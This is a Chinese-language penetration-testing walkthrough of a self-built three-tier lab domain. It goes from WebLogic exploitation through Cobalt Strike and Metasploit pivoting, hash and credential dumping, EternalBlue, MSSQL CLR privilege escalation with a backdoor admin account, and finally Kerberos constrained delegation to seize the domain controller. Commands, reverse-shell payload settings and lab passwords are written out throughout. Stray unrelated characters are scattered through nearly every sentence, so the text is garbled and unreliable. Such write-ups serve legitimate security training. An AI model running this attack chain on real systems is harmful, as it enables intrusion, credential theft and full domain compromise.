注意:
本文僅用于技術(shù)討論與研究鹃栽,對(duì)于所有筆記中復(fù)現(xiàn)的這些終端或者服務(wù)器坊饶,都是自行搭建的環(huán)境進(jìn)行滲透的洞渔。我將使用Kali Linux作為此次學(xué)習(xí)的攻擊者機(jī)器蹬屹。這里使用的技術(shù)僅用于學(xué)習(xí)目的,如果列出的技術(shù)用于其他任何目標(biāo)卸留,概不負(fù)責(zé)走越。
靶場(chǎng)環(huán)境配置
網(wǎng)絡(luò)拓?fù)鋱D
整個(gè)環(huán)境共四臺(tái)目標(biāo)機(jī),分別處在三層內(nèi)網(wǎng)環(huán)境當(dāng)中耻瑟。
- DMZ區(qū)環(huán)境IP段為 192.168.254.1/24
DMZ區(qū)的靶機(jī)擁有兩個(gè)網(wǎng)卡旨指,一個(gè)用來(lái)對(duì)外提供服務(wù)赏酥,一個(gè)用來(lái)連通第二次網(wǎng)絡(luò)。
- 第二層網(wǎng)絡(luò)環(huán)境IP段為 10.10.20.1/24
第二層網(wǎng)絡(luò)的靶機(jī)同樣有兩個(gè)網(wǎng)卡谆构,一個(gè)連通第二層網(wǎng)絡(luò)裸扶,一個(gè)連通第三層網(wǎng)絡(luò)
- 第三層網(wǎng)絡(luò)環(huán)境IP段為 10.10.10.1/24
第三層網(wǎng)絡(luò)的靶機(jī)只有一張網(wǎng)卡,連通第三層網(wǎng)絡(luò)搬素,包含域控機(jī)器與域內(nèi)服務(wù)器
DMZ區(qū)域的主機(jī)可以連通外網(wǎng)呵晨,第二層與第三層的均不能與外網(wǎng)連接
由于網(wǎng)絡(luò)環(huán)境問(wèn)題,192.168.254段的ip可能會(huì)有變化熬尺。
靶機(jī)信息
域控:Windows Server 2008 + IIS + Exchange 2013 郵件服務(wù)摸屠。
目錄還原密碼:redteam!@#45
主機(jī)名:owa
域管理員:administrator:
QWEasd123
Admin12345
域內(nèi)服務(wù)器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非約束委派)
主機(jī)名:sqlserver-2008
本地管理員:Administrator:Admin12345
域賬戶:redteam\sqlserver:Server12345 (被配置了約束委派)
Mssql:sa:sa
域內(nèi)個(gè)人PC:Windows 7
主機(jī)名:work-7
本地管理員:john:admin!@#45
域賬戶:redteam\saul:admin!@#45
單機(jī)服務(wù)器:Windows server r2 + weblogic
主機(jī)名:weblogic
本地管理員:Administrator:Admin12345
weblogic :weblogic:weblogic123(訪問(wèn) http://ip:7001)
weblogic 安裝目錄:C:\Oracle\Middleware\Oracle_Home\user_projects>\domains\base_domain
重啟后需要手動(dòng)開啟服務(wù)
其他域用戶:
域服務(wù)賬戶:redteam\sqlserver:Server12345 (被配置了約束委派)
郵件用戶:redteam\mail:admin!@#45
加域賬戶:redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非約束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
漏洞利用
該靶場(chǎng)存在很多漏洞點(diǎn)都可以去嘗試學(xué)習(xí)或利用
- 存在 GPP 漏洞
- 存在 MS14-068
- 存在 CVE-2020-1472
- Exchange 各種漏洞都可嘗試
- 可嘗試非約束委派
- 可嘗試約束委派
- 存在 CVE-2019-1388
- 存在 CVE-2019-0708
... 還有很多漏洞都可嘗試
單機(jī)服務(wù)器
假定現(xiàn)在我們已經(jīng)知道目標(biāo)IP為:192.168.254.112
。
信息收集
首先利用NMAP對(duì)靶標(biāo)進(jìn)行簡(jiǎn)易的掃描
nmap -p- -Pn -T4 192.168.254.112 -A
根據(jù)掃描到的信息發(fā)現(xiàn)目標(biāo)開放了7001端口粱哼,存在weblogic服務(wù)季二,
使用weblogicscan進(jìn)行掃描看看是否存在漏洞,
看起來(lái)還是存在很多漏洞的揭措。
GetShell
使用weblogic-GUI進(jìn)行注入胯舷,發(fā)現(xiàn)是administrator權(quán)限,直接注入內(nèi)存馬蜂筹,冰蝎上線需纳。
域內(nèi)個(gè)人PC機(jī)器
拿下了DMZ區(qū)域的機(jī)器后,除了權(quán)限維持和權(quán)限提升艺挪,對(duì)于橫向滲透通常分為兩個(gè)方面不翩。
判斷機(jī)器是否為多網(wǎng)卡機(jī)器,然后掃描其他網(wǎng)段麻裳,嘗試發(fā)現(xiàn)更多存在漏洞的機(jī)器口蝠。
盡量收集機(jī)器上的敏感信息,比如敏感內(nèi)部文件津坑、賬號(hào)密碼本等妙蔗,幫助后面快速突破防線。
由于拿下的機(jī)器已經(jīng)是administrator權(quán)限疆瑰,所以可以直接進(jìn)行信息收集眉反。
先查看一下進(jìn)程里面是否存在殺軟:
tasklist /SVC
發(fā)現(xiàn)為雙網(wǎng)卡,
這里我直接上線CS穆役,通過(guò)冰蝎上傳exe后門并執(zhí)行寸五,
上線后嘗試抓一下密碼,dump一下hash耿币,
導(dǎo)出密碼hash:
hashdump
received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
嘗試去在線平臺(tái)進(jìn)行解密
拿到Administrator的密碼為Admin12345
查看是否在域內(nèi)
net config workstation
//查看計(jì)算機(jī)名梳杏、全名、用戶名、系統(tǒng)版本十性、工作站叛溢、域、登錄域劲适。
一般時(shí)間服務(wù)器為主域控制器
net time /domain
//查看域控當(dāng)前時(shí)間楷掉。
機(jī)器并不在域內(nèi),由于是雙網(wǎng)卡减响,這里利用fscan進(jìn)行網(wǎng)段掃描靖诗。
上傳了fscan到 C:\windows\temp\ 的目錄下
然后這里通過(guò)CS插件直接運(yùn)行fscan郭怪,
對(duì)另一張網(wǎng)卡的C段進(jìn)行掃描支示,
掃描結(jié)果如下
這里通過(guò)這個(gè)靶場(chǎng)我們正好來(lái)學(xué)習(xí)CS和MSF的聯(lián)動(dòng)。
方法一:CS移交會(huì)話到MSF
當(dāng)前情況主機(jī)上線在CS上鄙才,這里我們將CS的會(huì)話交互給MSF颂鸿。
首先在CS上創(chuàng)建一個(gè)監(jiān)聽器,CS的監(jiān)聽器分為兩種類型:beacon和foreign攒庵。
beacon為CS內(nèi)置監(jiān)聽器嘴纺,,當(dāng)我們?cè)谀繕?biāo)系統(tǒng)執(zhí)行payload浓冒,會(huì)彈回一個(gè)beacon的shell給CS
foreign主要是提供給外部使用的一些監(jiān)聽器栽渴,比如想要利用CS派生一個(gè)meterpreter的shell,來(lái)進(jìn)行后續(xù)的內(nèi)網(wǎng)滲透稳懒,這時(shí)就應(yīng)該使用外部監(jiān)聽器闲擦。
Host指向開啟MSF的服務(wù)器,
MSF上面執(zhí)行下面命令场梆,
use exploit/multi/handler
//使用監(jiān)聽模塊
set payload windows/meterpreter/reverse_http
//這個(gè)payload要跟CS設(shè)置的payload保持一致為http協(xié)議
set lhost 0.0.0.0
//不設(shè)置也行墅冷,
set lport 8888
//端口需要與cs監(jiān)聽器端口保持一致,因?yàn)閏s的后門是反彈的8888端口或油。
然后運(yùn)行
run
然后在CS上執(zhí)行Spawn寞忿,
選擇剛才添加的派生會(huì)話給MSF的監(jiān)聽器。
然后可以看到msf收到了shell顶岸,
執(zhí)行命令出現(xiàn)亂碼腔彰,對(duì)編碼格式進(jìn)行修改
chcp65001
MSF的session中輸入shell獲取目標(biāo)主機(jī)的遠(yuǎn)程命令行shell,使用exit退出當(dāng)前的shell辖佣。
如果想要退回到控制臺(tái)界面霹抛,
background:把meterpreter后臺(tái)掛起。
我們這里退回到meterpreter的位置凌简,首先添加路由
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p
然后使用MSF上的ms17-010工具掃描一下上炎。
將會(huì)話掛起,退到控制臺(tái)界面
background
search ms17-010
use 3
set rhost 10.10.20.7
run
10.10.20.7機(jī)器存在ms17-010
現(xiàn)在可以利用exploit/windows/smb/ms17_010_eternalblue 進(jìn)行攻擊, 拿下該機(jī)器
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
set rhosts 10.10.20.7
show options
然后執(zhí)行
run
我這里第一次攻擊失敗了,win7藍(lán)屏了藕施,重新嘗試寇损,成功。
輸入shell進(jìn)入終端
查看ip
通過(guò)ms17-010拿下win7
方法二:建立SOCKS隧道上線MSF
這里簡(jiǎn)略描述一下思路
首先在被控機(jī)器(weblogc服務(wù)所在機(jī)器)上傳frp裳食,建立SOCKS5隧道
然后使用MSF
msfconsole
setg Proxies socks5:192.168.254.xxx:xxxx //kali代理的ip和端口
setg ReverseAllowProxy true
use exploit/windows/smb/ms17-010-eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
run
方法一:win7執(zhí)行payload上線CS
CS設(shè)置中轉(zhuǎn)監(jiān)聽器
然后生成后門矛市,選擇剛才新建的監(jiān)聽器
把后門傳到kali,然后在msf中使用命令上傳到靶機(jī)win7上
upload beacon.exe
然后進(jìn)入shell并執(zhí)行
shell
beacon.exe
這里要注意诲祸,weblogic服務(wù)所在機(jī)器并沒有關(guān)閉防火墻
netsh firewall show config
查看防火墻狀態(tài)
netsh adfirewall set allprofiles state off
關(guān)閉防火墻
然后就可以上線了
方法二:MSF派生會(huì)話到CS
這里CS要準(zhǔn)備一個(gè)監(jiān)聽器浊吏,上面新建的一個(gè)中轉(zhuǎn)監(jiān)聽
MSf載入注入模塊
首先看一下session的id
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 5678
set lhost 10.10.20.12
set session 3
域內(nèi)服務(wù)器Mssql
我們先回到msf上面,加載mimikatz救氯,抓取一下密碼
load mimikatz
creds_all
這里除了域用戶的賬號(hào)密碼找田,還看到了域控的,繼續(xù)嘗試其他方式
查看網(wǎng)段發(fā)現(xiàn)新的網(wǎng)段着憨,繼續(xù)添加路由
run get_local_subnets
run autorouts -s 10.10.10.0/24
run autorouts -p
這個(gè)時(shí)候我們已經(jīng)通過(guò)MS17-010 -> mimikatz拿到了一個(gè)域用戶的賬號(hào)密碼墩衙,嘗試查找約束委派用戶
上傳一個(gè)fscan上去
fscan64.exe -h 10.10.10.0/24
存在另外兩個(gè)主機(jī)
使用adfind工具掃描
# 查詢配置了非約束委派的主機(jī):
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查詢配置了非約束委派的用戶:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查詢配置了約束委派的主機(jī):
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# 查詢配置了約束委派的用戶:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
找到sqlserver的用戶設(shè)置了約束委派
對(duì)10.10.10.18機(jī)器進(jìn)行嘗試
80 端口、1433 SQL server端口甲抖、445 SMB端口
這里通過(guò)FRP建立多層代理
windows上使用 proxifier 設(shè)置代理鏈
訪問(wèn)80頁(yè)面漆改,沒什么東西或者利用點(diǎn)
嘗試爆破SQL server密碼
使用超級(jí)弱口令工具進(jìn)行檢查
此時(shí)拿到了SQL server的密碼
隨后使用ShqrpSQLTools.exe工具對(duì)xp_cmdshell調(diào)用系統(tǒng)命令
.\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami
目前的權(quán)限是nt authority\network service 即為普通服務(wù)權(quán)限
在MSSQL中可以使用CLR組件提權(quán),可以參考下面文章提權(quán)
https://www.anquanke.com/post/id/250346
使用 SharpSQLTools 開啟目標(biāo) clr准谚,進(jìn)行提權(quán)
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
提權(quán)成功
添加一個(gè)管理員權(quán)限用戶挫剑,用戶名為 ocean.com 密碼為 qwe.123
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"
加入admin組
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"
查看用戶
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"
接下來(lái)上線msf
配置代理proxychains,在/etc/proxychains.conf文件中進(jìn)行修改
然后通過(guò)代理啟動(dòng)msf即可
或者進(jìn)入msf添加代理 均可
proxychains msfconsole
使用 mssql_clr_payload 模塊
use exploit/windows/mssql/mssql_clr_payload
這里生成中轉(zhuǎn)上線的CS馬柱衔,和上述過(guò)程一樣樊破,新建監(jiān)聽器证鸥,通過(guò)msf上傳cs馬掺逼,
使用 SharpSQLTools.exe 去執(zhí)行 CS馬碍岔,獲取高權(quán)限用戶琐旁,拿到 SQL server 主機(jī)祟牲。
域控
這里使用了約束委派拿域控起便,還有很多方式比如cve-2020-1472
上線CS之后拿到用戶密碼
通過(guò)約束委派攻擊來(lái)接管域控
上傳工具 kekeo理澎,利用 kekeo 請(qǐng)求該用戶的 TGT:
TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"
然后使用這個(gè)TGT獲取域機(jī)器的ST
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"
使用 mimikatz 將 ST2 導(dǎo)入當(dāng)前會(huì)話即可琳骡,運(yùn)行 mimikatz 進(jìn)行 ptt
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
至此澳盐,拿到域控祈纯。
總結(jié)
通過(guò)上述過(guò)程,我們對(duì)比如GPP叼耙,約束委派腕窥,SQLServer提權(quán)有了新的認(rèn)知或者理解,網(wǎng)絡(luò)安全的學(xué)習(xí)離不開實(shí)際操作筛婉,想要搞明白漏洞更是要實(shí)際去復(fù)現(xiàn)學(xué)習(xí)簇爆。